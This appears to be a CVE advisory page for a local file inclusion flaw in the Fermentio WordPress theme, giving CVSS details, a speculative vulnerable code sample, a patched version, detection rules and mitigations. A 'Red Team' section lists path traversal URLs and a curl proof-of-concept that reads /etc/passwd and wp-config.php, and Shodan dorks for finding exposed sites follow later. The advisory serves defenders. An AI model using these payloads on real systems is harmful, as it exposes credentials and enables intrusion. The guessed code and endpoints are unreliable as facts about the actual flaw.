☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Axiomthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58897

CVE-2025-58897 Local File Inclusion in Axiomthemes
📅 PUBLISHED: 2026-06-02 14:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58897 is a critical PHP Local File Inclusion (LFI) vulnerability in the Axiomthemes Fermentio WordPress theme, affecting all versions up to and including 1.5.0. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and potentially source code. As a WordPress theme vulnerability, it is exploitable through the WordPress ecosystem without requiring authentication. No patch is currently available, making this a zero-day threat for all active installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed through the Axiomthemes marketplace and potentially bundled with other products. Since it is a PHP-based theme, the supply chain risk includes:

  • Direct exploitation: Attackers can leverage the LFI to read wp-config.php and obtain database credentials.
  • Chained attacks: LFI can be combined with file upload vulnerabilities to achieve Remote Code Execution (RCE).
  • No patch available: Users must rely on manual mitigation or removal of the theme.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated.
  • User Interaction: None (UI:N) – no user action needed.
  • Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
  • Confidentiality Impact: High (C:H) – full file read capability.
  • Integrity Impact: None (I:N) – no file modification.
  • Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The lack of authentication and low complexity make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability exists in the Fermentio theme's PHP code, likely within a template or plugin file that uses include() or require() with user-supplied input. The improper control of the filename allows an attacker to traverse directories using ../ sequences and read arbitrary files.

Root Cause: The theme fails to sanitize or validate the $_GET, $_POST, or $_COOKIE parameter used in a PHP include statement. For example, a vulnerable code snippet might look like:

include($_GET['file'] . '.php');

This allows an attacker to supply a path like ../../../../etc/passwd to read system files.

Exploitation Flow:

  1. Attacker identifies a parameter (e.g., page, template, file) in the theme's URL.
  2. Attacker sends a request with a path traversal payload.
  3. The server includes the specified file, outputting its contents in the HTTP response.

WordPress Context: Since this is a WordPress theme, the vulnerable parameter is likely part of a custom page template or shortcode. The attack does not require WordPress admin credentials.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 1.5.0. A hypothetical patched version would implement proper input validation and path restriction.

Vulnerable Code (Example):

// In a theme template file (e.g., page.php)
$file = $_GET['file'];
include( get_template_directory() . '/includes/' . $file . '.php' );

Patched Code (Hypothetical):

// Patched version with whitelist and path sanitization
$allowed_files = array('header', 'footer', 'sidebar');
$file = basename( $_GET['file'] );
if ( in_array( $file, $allowed_files ) ) {
    include( get_template_directory() . '/includes/' . $file . '.php' );
} else {
    // Handle error
}

The patched version uses basename() to strip directory traversal and a whitelist to restrict allowed files.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress installation with Fermentio theme version <= 1.5.0.
  • Knowledge of the vulnerable parameter (e.g., ?file=).

Exploit Steps:

  1. Identify the vulnerable endpoint. Common patterns include:
    • http://target/wp-content/themes/fermentio/page.php?file=...
    • http://target/?page_id=...&template=...
  2. Use path traversal to read sensitive files:
    • http://target/?file=../../../../etc/passwd
    • http://target/?file=../../../../wp-config.php
  3. For Windows servers, use:
    • http://target/?file=../../../../windows/win.ini

Proof of Concept (PoC):

curl -v "http://target/wp-content/themes/fermentio/page.php?file=../../../../etc/passwd"

Expected Output: The contents of /etc/passwd will be displayed in the response body.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
  • Look for requests to theme files with unexpected parameters.
  • Use WAF rules to block directory traversal attempts.

Hunting Query:

SELECT * FROM wp_logs WHERE request_uri LIKE '%../%' AND request_uri LIKE '%fermentio%';

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing ../ or %2e%2e%2f in the query string.
    • Requests to /wp-content/themes/fermentio/ with suspicious parameters.
    • Outbound connections from the web server to unknown IPs (if chained with RCE).
  • File IOCs:

    • Unexpected files in /tmp/ or web-accessible directories.
    • Modified .htaccess files (if used for persistence).
  • Log IOCs:

    • Web server logs showing 404 or 200 responses to path traversal attempts.
    • PHP error logs with include() failures.

Detection Engineering

YARA Rule

rule CVE_2025_58897_LFI_Detection {
    meta:
        description = "Detects path traversal attempts targeting Fermentio theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58897"
    strings:
        $path_traversal = /(\.\.\/|%2e%2e%2f|%252e%252e%252f)/
        $theme_path = /fermentio/i
    condition:
        $path_traversal and $theme_path
}

Sigma Rule

title: CVE-2025-58897 Fermentio LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against Fermentio WordPress theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '%2e%2e%2f'
            - '..\\'
        cs-uri-stem|contains: '/wp-content/themes/fermentio/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom code
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58897 Fermentio LFI Attempt"; flow:to_server,established; content:"/wp-content/themes/fermentio/"; http_uri; content:"../"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the theme: Switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
  2. Web Application Firewall (WAF): Deploy rules to block path traversal patterns in URI parameters.
  3. File Permissions: Ensure wp-config.php and other sensitive files are not readable by the web server user (e.g., chmod 600).

Long-term Fix:

  • Monitor the Axiomthemes website for an official patch.
  • Apply the patch immediately when released.
  • Consider replacing the theme with a more secure alternative.

Workaround:

  • If the theme cannot be disabled, add the following to .htaccess to block path traversal:
RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f) [NC]
RewriteRule ^ - [F,L]

Valters IT – Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Fermentio"
http.html:"wp-content/themes/fermentio"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58897/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.